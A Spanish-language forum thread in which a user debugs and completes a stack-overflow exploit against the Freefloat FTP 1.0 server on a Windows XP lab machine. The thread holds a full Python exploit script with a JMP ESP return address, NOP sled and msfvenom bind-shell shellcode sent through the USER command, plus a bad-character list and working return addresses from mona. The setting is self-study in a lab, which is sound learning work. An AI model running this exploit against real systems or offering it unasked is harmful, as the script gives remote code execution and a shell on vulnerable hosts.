Sobreescribo EIP pero no logro que se ejecute mi shellcode

[Skali]

Muy buenas! Les comento mi inconveniente. Estaba tratando de explotar el servidor FTP Freefloat 1.0, el cuál tiene un fallo de stack overflow. Estoy usando VM con Windows Profesional SP2 Version 2002, ESP (ip 192.168.0.107), y otra VM con Kali 2.0 (ip 192.168.0.106). Probando con el fuzzer de ftp de metasploit, logré crasharlo mandando una cadena muy larga junto con el comando USER. Luego con el pattern_create.rb y pattern_offset.rb determiné que hay 230 bytes hasta sobreescribir EIP. Escribí un exploit y logré escribir 42424242 en EIP. Como pueden ver en la siguiente imagen:



Luego, creé varias shellcodes con msfvenom. Primero probé meterpreter/reverse_tcp, ahora estoy probando con shell/bind_tcp, pero no estoy consiguiendo la shell...  Después de ejecutar el exploit, el Immunity muestra lo siguiente:



Estoy utilizando la técnica de sobreescribir EIP por la dirección de USER.dll que apunta a JMP ESP. Y me parece que hasta aquí funciona, es decir, EIP logra llegar al stack, como ven en la imagen anterior... Por si las moscas, aca les muestro la dirección de JMP ESP:



Y mi código final del exploit:

Código (python) [Seleccionar] Expandir


#!/usr/bin/python
import socket

target = "192.168.0.107"
junk = "\x41" * 230
eip = "\x0a\xaf\xd5\x77"
nops = "\x90" * 30
#msfvenom -a \x86 --platform windows -p "windows/shell/bind_tcp" LHOST=192.168.0.107 LPORT=4444 -b '\x00' -f python
#Payload size: 326 bytes
#Final size of python file: 1574 bytes
payload =  ""
payload += "\xdb\xd5\xba\xf1\x47\xde\x08\xd9\x74\x24\xf4\x58\x2b"
payload += "\xc9\xb1\x4b\x31\x50\x1a\x83\xc0\x04\x03\x50\x16\xe2"
payload += "\x04\xbb\x36\x8a\xe6\x44\xc7\xeb\x6f\xa1\xf6\x2b\x0b"
payload += "\xa1\xa9\x9b\x58\xe7\x45\x57\x0c\x1c\xdd\x15\x98\x13"
payload += "\x56\x93\xfe\x1a\x67\x88\xc2\x3d\xeb\xd3\x16\x9e\xd2"
payload += "\x1b\x6b\xdf\x13\x41\x81\x8d\xcc\x0d\x37\x22\x78\x5b"
payload += "\x8b\xc9\x32\x4d\x8b\x2e\x82\x6c\xba\xe0\x98\x36\x1c"
payload += "\x02\x4c\x43\x15\x1c\x91\x6e\xec\x97\x61\x04\xef\x71"
payload += "\xb8\xe5\x43\xbc\x74\x14\x9a\xf8\xb3\xc7\xe9\xf0\xc7"
payload += "\x7a\xe9\xc6\xba\xa0\x7c\xdd\x1d\x22\x26\x39\x9f\xe7"
payload += "\xb0\xca\x93\x4c\xb7\x95\xb7\x53\x14\xae\xcc\xd8\x9b"
payload += "\x61\x45\x9a\xbf\xa5\x0d\x78\xde\xfc\xeb\x2f\xdf\x1f"
payload += "\x54\x8f\x45\x6b\x79\xc4\xf4\x36\x16\x29\x34\xc9\xe6"
payload += "\x25\x4f\xba\xd4\xea\xfb\x54\x55\x62\x25\xa2\x9a\x59"
payload += "\x91\x3c\x65\x62\xe1\x15\xa2\x36\xb1\x0d\x03\x37\x5a"
payload += "\xce\xac\xe2\xf6\xc5\x0b\x5d\xe4\x27\xc1\x5c\x82\xd5"
payload += "\x7e\xb5\x5d\x05\x9e\xb6\xb4\x2e\x37\x4b\x36\x40\x94"
payload += "\xc2\xd0\x08\x34\x83\x4b\xa5\xf6\xf0\x44\x52\x08\xd3"
payload += "\x2f\x5c\x83\x84\x78\x35\xdb\xdc\xbe\x3a\xdc\xca\xe9"
payload += "\xac\x57\x19\x2e\xcc\x67\x34\x07\x99\xf0\xc2\xc9\xe8"
payload += "\x61\xd2\xc0\x99\x61\x46\xee\x0b\x35\xfe\xec\x6a\x71"
payload += "\xa1\x0f\x59\x01\xa6\xef\x1c\x2b\xdc\xd9\x8a\x73\x8a"
payload += "\x25\x5b\x74\x4a\x73\x31\x74\x22\x23\x61\x27\x57\x2c"
payload += "\xbc\x5b\xc4\xb8\x3f\x0a\xb8\x6b\x28\xb0\xe7\x5b\xf7"
payload += "\x4b\xc2\xd8\xf0\xb4\x93\xd9\x01\x76\x42\x23\x74\x91"
payload += "\x56"


s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((target,21))
print "\n\n[-] Sending exploit ..."
print s.recv(2000)
s.send("USER "+junk+eip+nops+payload+"\r\n")
s.close()


Probé también cambiando la cantidad de NOPS. Nunca termine de entender muy bien para que sirven esos NOPS que están después de la dirección de retorno... Supongo que para hacer espacio hasta llegar a ESP, pero no entiendo bien que cantidad usar... Si me pueden aclarar ésta duda les agradecería...

Más allá de esa dudita, no creo que sea problema de NOPS, se me ocurre que hay algúna medida de mitigación que está activada y no me doy cuenta. Si necesitan algo más para ayudarme con ésto para que pueda comprender bien como explotar correctamente el bug, estaría agradecidicimo!!! Saludos y gracias desde ya.

MOD: Imagenes adaptadas a lo permitido.

[MCKSys Argentina]

Si estás pisando un return address, pon un BP en dicha dirección, y tírale el exploit. Cuando pare, trace para ver cuál es el problema.

Saludos!

[.:UND3R:.]

Comparaste la shellcode en memoria vs la generada por metasploit, puede que existan valores hexadecimales no permitidos y por esto la shellcode se corrompe en memoria, saludos. Otra cosa puede ser que el equipo cuente con DEP

[Skali]

Muchisimas gracias a ambos por su tiempo! Lamentablemente sigo sin conseguir resultados, pero hice otras pruebas y se que estoy cerca de resolverlo!

En primer lugar, estuve investigando un poco sobre DEP en Windows y descubrí que tengo el parámetro noexecute=optin en el archivo bootini, lo que significa que DEP se aplica solo a componentes del SO, y se puede activar para distintos ejecutables pero manualmente. De todas formas me asegure de desactivarlo por completo con noexecute=alwasoff, y probé volver a ejecutar el exploit, y sigo sin resultados, con lo que descartamos que el problema sea por DEP.

Después probé agregar un breakpoint justo donde se hace el JMP ESP, pero el servicio crashea y vuelve exactamente al mismo resultado de la segunda imagen que publiqué anteriormente. No entiendo como es que no se me detiene la ejecución antes de realizar el JMP ESP.

Por otro lado encontre éste link que explica como explotar el mismo servidor sobre Win XP. Een éste caso utiliza Win XP SP3 ENG y el que yo estoy usando es Win XP SP2 SPA, pero lo único que cambia supongo que es la dirección del JMP ESP. Revisando me enteré que hay una lista de badchars a evitar en el shellcode. Yo hasta ahora solo incluía el \x00, pero según la página, la lista de badchars en este caso es la siguiente:

\x00\x0a\x0b\x27\x36\xce\xc1\x04\x14\x3a\x44\xe0\x42\xa9\x0d

Asi que volví a ejecutar el msfvenom agregando dicha lista,  y ejecuto el exploit, y vuelvo a exactamente lo mismo... Verifique que la shellcode en memoria sea la misma que la que me genero msfvenom, y lo es... Y un dato curioso que tal vez sea la clave para entender mi problema, es el siguiente:

Justo después de la shellcode, en la pila el dato que le sigue es la dirección de memoria 0x000A0D2E , que es exactamente a donde me apunta EIP luego de ejecutar el exploit... Aquí les remarqué en rojo donde está la dirección que les digo:


https://s22.postimg.org/8uc7ommjl/test.png

(en éste caso use BBBB para sobreescribir EIP). Fíjense, 71,7b son los últimos bytes de la shellcode, y luego le sigue la dirección que les comentaba.

Seguí insistiendo, cambie la shellcode por una serie de caracteres C, con una longitud mucha menor que la shellcode anterior, y en la memoria se ve 4343434343, y justo cuando termina la secuencia, aparece exactamente la misma dirección...

Con ésta información que les estoy dando, tienen algún otra idea de cuál puede ser mi problema? Muchas gracias desde ya!

Ahi lo logré señores!

Bajé el pyCommand mona.py y busque todos los JMP ESP que había, y en vez de sobreescribir EIP con el JMP ESP de la librería USER32.dll, utilicé un JMP ESP de la librería SHELL32.dll. La verdad no comprendo por qué con una dirección me funciona y con otra no...

Aquí ven los datos de la dirección que usaba antes y no me funcionaba:

Log data, item 12
Address=77D5AF0A
Message=  0x77d5af0a : jmp esp |  {PAGE_EXECUTE_READ} [USER32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600
.2180 (C:\WINDOWS\system32\USER32.dll)

Y aquí los datos de la direccion que uso ahora y funciona:

Log data, item 23
Address=7CA68265
Message=  0x7ca68265 : jmp esp |  {PAGE_EXECUTE_READ} [SHELL32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v6.00.29
00.2180 (C:\WINDOWS\system32\SHELL32.dll)

Saludos y gracias!

MOD: No hacer doble post.